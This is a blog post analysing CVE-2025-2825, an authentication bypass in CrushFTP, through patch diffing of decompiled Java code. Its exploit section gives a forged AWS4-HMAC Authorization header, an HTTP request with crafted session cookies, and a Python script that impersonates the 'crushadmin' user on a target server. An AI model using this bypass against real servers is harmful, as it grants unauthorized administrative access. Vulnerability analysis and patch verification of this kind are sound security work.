CVE 2025-2825 - CrushFTP Authentication Bypass Analysis
Table of Contents
After the news made it’s way to my feeds, having worked on the CrushFTP’s CVE-2024-4040 vulnerability analysis, this sounded like a good thing to do over and maybe I could write the exploit before anyone but unfortunately Project Discovery guys beat me to it. Anyways, enough story, let’s dive into the vulnerability:
- CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.
CrushFTP docker versions are the best source to achieve the specific version to analyze as the one listed within the CrushFTP website just points to latest release, since we need to perform patch diffing for the latest version (let’s say N) and previous version (N-1). The authentication bypass vulnerability was patched in 11.3.1 of CrushFTP11, so we need 11.3.0 to perform the diffing of files and code changes made between these two.
Inside the Vulnerability: A Deep Dive #
Having both versions of docker image locally, we retrieve the CrushFTP.jar file, then as we do with all jar files, we decompile them and retrieve the Java files, once that is done, I quickly wrote a script to compare the MD5 checksums of files from the both versions and if they don’t match from the old one, it probably has been updated or created.
import os
import hashlib
# Function to calculate the MD5 checksum of a file
def calculate_md5(file_path):
hash_md5 = hashlib.md5()
with open(file_path, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()
# Function to find .java files and their MD5 checksums in a directory
def get_java_files_with_md5(directory):
java_files_md5 = {}
for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith(".java"):
file_path = os.path.join(root, file)
md5_checksum = calculate_md5(file_path)
relative_path = os.path.relpath(file_path, directory) # Get relative path
java_files_md5[relative_path] = {
"md5": md5_checksum,
"absolute_path": file_path
}
return java_files_md5
# Compare two directories
def compare_directories(dir1, dir2):
dir1_files_md5 = get_java_files_with_md5(dir1)
dir2_files_md5 = get_java_files_with_md5(dir2)
changed_files = []
for file, data1 in dir1_files_md5.items():
data2 = dir2_files_md5.get(file)
if data2 is None:
print(f"{file} is missing in {dir2}")
elif data1["md5"] != data2["md5"]:
changed_files.append(data1["absolute_path"])
if changed_files:
print("Changed files (absolute paths):")
for file in changed_files:
print(file)
else:
print("No Java files have changed between the two directories.")
# Example usage:
directory2 = "./11.3.0"
directory1 = "./11.3.1"
compare_directories(directory1, directory2)
Running the script shows that there are couple of files that has been changed from the last version (N-1), knowing that this vulnerability exist for the HTTP service, the ServerSessions file stands out the most.
Changed files (absolute paths):
./11.3.1/com/sshtools/sftp/SftpClient.java
[..snip..]
./11.3.1/crushftp/reports8/UserUsage.java
./11.3.1/crushftp/server/VFS.java
./11.3.1/crushftp/server/ServerSessionHTTP.java
./11.3.1/crushftp/server/QuickConnect.java
./11.3.1/crushftp/server/AdminControls.java
./11.3.1/crushftp/server/ServerStatus.java
./11.3.1/crushftp/server/ServerSessionFTP.java
./11.3.1/crushftp/server/ServerSessionSSH.java
./11.3.1/crushftp/server/LIST_handler.java
./11.3.1/crushftp/server/ServerSessionAJAX.java
./11.3.1/crushftp/handlers/JobScheduler.java
./11.3.1/crushftp/handlers/PluginTools.java
./11.3.1/crushftp/handlers/UserTools.java
./11.3.1/crushftp/handlers/SessionCrush.java
./11.3.1/crushftp/handlers/Common.java
./11.3.1/crushftp/handlers/TaskBridge.java
./11.3.1/crushftp/handlers/PreferencesProvider.java
./11.3.1/crushftp/user/XMLUsers.java
Executing diff command on it will show the lines removed and added which will help in laying out the ground for us to work with.
Out of all the additions and deletions, there are few things that stands out the most, the conditional check for the login_user_pass and how it has changed, looking into the ServerSessionHTTP.java file, we see that the function named loginCheckHeaderAuth , this function parses the authorization header and validate if the requested methods and their respective values are valid or not. If we look closely at the conditional branch, first it checks if the Authorization header starts from AWS4-HMAC , it finds the = character and then it takes the value of it and removes the trailing / character to take it as username and most importantly it by default sets the value of lookup_user_pass as true , followed by the value set, it checks if the header value has a tilde character in it and if it is there, then it parses it and set the value of login_user_pass as false , followed by that it a login_user_pass lookup is done on the retrieved values from header with the lookup_user_pass , user_name and then empty password as well. (The reason for empty password is the main part of vulnerability as we will be taking advantage of the missing check for the lookup_user_pass value correctly)
public void loginCheckHeaderAuth() throws Exception {
if ((!this.thisSession.uiBG("user_logged_in") || this.thisSession.uiSG("user_name").equalsIgnoreCase("anonymous") || this.thisSession.uiSG("user_name").equalsIgnoreCase("") || this.thisSession.user == null) && (this.headerLookup.containsKey("Authorization".toUpperCase()) || this.headerLookup.containsKey("Proxy-Authorization".toUpperCase()) || this.headerLookup.containsKey("as2-to".toUpperCase()))) {
String authorization = "";
String s3_username;
String new_user_log_path;
String user_pass;
if (this.headerLookup.containsKey("Authorization".toUpperCase()) && this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
s3_username = s3_username.substring(s3_username.indexOf("=") + 1);
s3_username = s3_username.substring(0, s3_username.indexOf("/"));
user_pass = null;
String user_name = s3_username;
boolean lookup_user_pass = true;
if (s3_username.indexOf("~") >= 0) {
user_pass = s3_username.substring(s3_username.indexOf("~") + 1);
user_name = s3_username.substring(0, s3_username.indexOf("~"));
lookup_user_pass = false;
[..snip..]
if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
if (lookup_user_pass) {
user_pass = com.crushftp.client.Common.encryptDecrypt(this.thisSession.user.getProperty("password"), false);
}
Checking the login_user_pass function, it contains the login for authentication of how the username and password is handled, since with how the S3 authentication logic implemented, the expected values from the header have to contain the username and password along with other details like following:
Authorization: AWS4-HMAC-SHA256 Credential=attacker~maliciouspassword/20240327/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-date, Signature=fakesignature
After some checks within the login_user_pass function whether it contains any specific keywords or not, since it does not matter to the flow we are following, we can move to the important line within this function which is the function call this.verify_user , our next target for analysis.
public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception {
if (user_name.length() <= 2000) {
int var10000 = user_pass.length();
ServerStatus var10001 = ServerStatus.thisObj;
if (var10000 <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") || user_name.equalsIgnoreCase("crush_oauth2") || user_name.equalsIgnoreCase("crush_oauth2_ms") || user_name.equalsIgnoreCase("crush_oauth2_azure_b2c") || user_name.equalsIgnoreCase("crush_oauth2_cognito")) {
Log.log("LOGIN", 3, (Exception)(new Exception(LOC.G("INFO:Logging in with user:") + user_name)));
this.uiPUT("last_logged_command", "USER");
boolean stripped_char = false;
if (user_name.startsWith("!")) {
user_name = user_name.substring(1);
this.uiPUT("user_name", user_name);
stripped_char = true;
}
[..snip..]
boolean otp_valid = false;
boolean verified = false;
String verify_password = user_pass;
if (!com.crushftp.client.Common.dmz_mode) {
String var74;
label688: {
if (user_pass.contains("|||OTP|||")) {
var73 = ServerStatus.thisObj;
if (ServerStatus.BG("otp_validated_logins")) {
var74 = user_pass.substring(0, user_pass.indexOf("|||OTP|||"));
break label688;
}
}
var74 = user_pass;
}
verify_password = var74;
}
verified = this.verify_user(user_name, verify_password, anyPass, doAfterLogin);
String last_logins2;
Looking into the verify_user , we know that it passes the value of user_name as parsed from the Authorization header and anyPass value as true , eventually after comparing certain values within the logic such as checking whether the password has been provided or other attributes, it calls the UserTools.ut.verify_user from ./11.3.0/crushftp/handlers/UserTools.java file
public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) {
ServerStatus var10000 = ServerStatus.thisObj;
if (!ServerStatus.siBG("allow_logins")) {
return false;
[..snip..]
this.user = null;
Properties u = new Properties();
Properties temp_p = new Properties();
temp_p.put("user", u);
temp_p.put("username", theUser);
temp_p.put("password", thePass);
temp_p.put("anyPass", String.valueOf(anyPass));
checkTempAccounts(temp_p, this.uiSG("listen_ip_port"));
String templateUser = "";
String SAMLResponse = this.uiSG("SAMLResponse");
if (!temp_p.getProperty("action", "").equalsIgnoreCase("success")) {
this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser, thePass, this.uiSG("listen_ip_port"), this, this.uiIG("user_number"), this.uiSG("user_ip"), this.uiIG("user_port"), this.server_item, loginReason, anyPass);
}
Looking into the verify_user function within the UserTools.java file, we see that it checks certain values for the password to identify it’s not of any hash type, then there stands a particular conditional branch which checks whether the given username has any of the XML file (this is used to store user’s information) and then if it does, it checks the anyPass value and if it is true (which it will be) and user existed, it will return the user meaning that user has been verified:
public Properties verify_user(ServerStatus server_status_frame, String the_user, String the_password, String serverGroup, SessionCrush thisSession, int user_number, String user_ip, int user_port, Properties server_item, Properties loginReason, boolean anyPass) {
if (the_user.indexOf("\\") >= 0) {
the_user = the_user.substring(the_user.indexOf("\\") + 1);
}
if (!the_password.startsWith("SHA:") && !the_password.startsWith("SHA512:") && !the_password.startsWith("SHA256:") && !the_password.startsWith("SHA3:") && !the_password.startsWith("MD5:") && !the_password.startsWith("MD5S2:") && !the_password.startsWith("CRYPT3:") && !the_password.startsWith("BCRYPT:") && !the_password.startsWith("MD5CRYPT:") && !the_password.startsWith("PBKDF2SHA256:") && !the_password.startsWith("SHA512CRYPT:") && !the_password.startsWith("ARGOND:")) {
[..snip..]
Log.log("USER_OBJ", 1, (String)("Validating user " + the_user + " with local user file:" + (user != null ? String.valueOf(user.size()) : "no user.XML found!")));
if (user != null) {
loginReason.put("reason", "valid user");
ServerStatus var10000 = ServerStatus.thisObj;
if (ServerStatus.BG("secondary_login_via_email") && the_user.indexOf("@") >= 0 && user.getProperty("username").indexOf("@") < 0) {
the_user = user.getProperty("username");
}
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user;
}
So an overview of this would be that the fact lookup_user_pass value was set to true by default once the S3 authentication process begins and it takes in the username provided within the header, this was later fixed, which we will analyze at the end.
Exploit in Action: Performing Auth Bypass #
Anyways, so at this point, our Proof-Of-Concept will look like:
Authorization: AWS4-HMAC-SHA256 Credentials=crushadmin/
But there are few things to consider as well, CrushFTP keeps the session details using Cookies and if you have fiddled around with enough, you would know that the two things that it validates are:
CrushAuth- A combination of timestamp and underscore followed by 30 random characters unique for each sessionscurrentAuth- Last 4 digits of the 30 random characters forCrushAuthvalue, this value is also sent as part of certain requests
But since we already bypass the need of credentials, then we can just craft our own values for those cookies and send the request with the crafted Authorization header value.
GET /WebInterface/function/?command=getXMLListing&format=JSONOBJ&path=%2F&c2f=DICW HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Cookie: CrushAuth=1743325521538_Ea7AKKpFXuEHX89Jjdnp04TFyhDiCw; currentAuth=DiCW
Sending the request to get the current session user, we could see that the CrushFTP thinks the current user session which requested is crushadmin
We can also try to list the directories, it may seem the response has no such data we can use, this is because the docker I had was not configured due to docker image limitations.
Now that is done, I created a quick python script which accepts the URL and performs the check on the remote host whether to see if it is vulnerable or not:
import time
import requests
import argparse
from random import choice
from urllib.parse import urlparse
class CrushFTPAuthBypassExploit:
def __init__(self, target_url, valid_username):
"""
Initialize the exploit for CrushFTP
:param target_url: The CrushFTP server endpoint
:param valid_username: A valid CrushFTP username to exploit
"""
self.target_url = target_url
self.username = valid_username
def exploit(self):
"""
Attempt to exploit the CrushFTP authentication bypass
:return: Response details
"""
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
crushAuth = str(int(time.time())) + "_" + "".join([choice(chars) for _ in range(30)])
currentAuth = crushAuth[-4:]
cookies = {"CrushAuth": crushAuth, "currentAuth": currentAuth}
headers = {
'Authorization': f"AWS4-HMAC-SHA256 Credential={self.username}/",
'Host': urlparse(self.target_url).hostname,
}
# Attempt to access a protected resource
target_url = f"{self.target_url}/WebInterface/function/?command=getUserName&format=JSONOBJ&c2f=" + currentAuth
try:
response = requests.post(target_url, headers=headers,cookies=cookies, verify=False)
return {
'status_code': response.status_code,
'response_text': response.text,
}
except Exception as e:
return {
'error': str(e)
}
if __name__ == "__main__":
# Set up argument parsing for target URL and username
parser = argparse.ArgumentParser(description="Run the CrushFTP authentication bypass exploit.")
parser.add_argument('target_url', type=str, help="Target URL of the CrushFTP server (e.g., http://localhost:8080)")
parser.add_argument('--valid_username', type=str, default="crushadmin", help="A known valid username on the target system (default: crushadmin)")
# Parse arguments
args = parser.parse_args()
# Run the exploit with the provided arguments
exploit = CrushFTPAuthBypassExploit(
target_url=args.target_url,
valid_username=args.valid_username
)
print("[*] CrushFTP Authentication Bypass Exploit")
print(f"[*] Targeting: {args.target_url}")
print(f"[*] Using username: {args.valid_username}")
result = exploit.exploit()
if "crushadmin" in result['response_text']:
print("[+] CrushFTP Server is Vulnerable!")
print("[+] Exploit Result:\n")
for key, value in result.items():
print(f"{key.title()}: {value}")
else:
print("[!] Not Vulnerable!")
Proof-Of-Concept can be found here.
Evaluating Patched Version #
Looking into the code, we see that now the applications checks whether the S3 authentication is supported or not, if not it will terminate the request with AWS4-HMAC... type. This is a good fix in itself as previously one can do authentication bypass even on servers with no S3 configuration.
[..snip..]
boolean lookup_user_pass = true;
if (s3_username.indexOf("~") >= 0) {
user_pass = s3_username.substring(s3_username.indexOf("~") + 1);
user_name = s3_username.substring(0, s3_username.indexOf("~"));
lookup_user_pass = false;
} else {
var10000 = ServerStatus.thisObj;
if (!ServerStatus.BG("s3_auth_lookup_password_supported")) {
return;
}
}
The following lines were added instead of the login_user_check call that we saw before, here the application tries to fetch the user’s linkedServer property which we can safely assume to be one of those properties which specifies whether the user has S3 authentication is enabled. If it is, internally it performs the proper check for the provided password.
Properties tmp_user = UserTools.ut.getUser(this.thisSession.server_item.getProperty("linkedServer", ""), user_name);
if (tmp_user != null && lookup_user_pass) {
user_pass = com.crushftp.client.Common.encryptDecrypt(tmp_user.getProperty("password"), false);
}
It is recommended to update the CrushFTP version to 11.3.1 as this vulnerability can be very severe if targeted cleverly.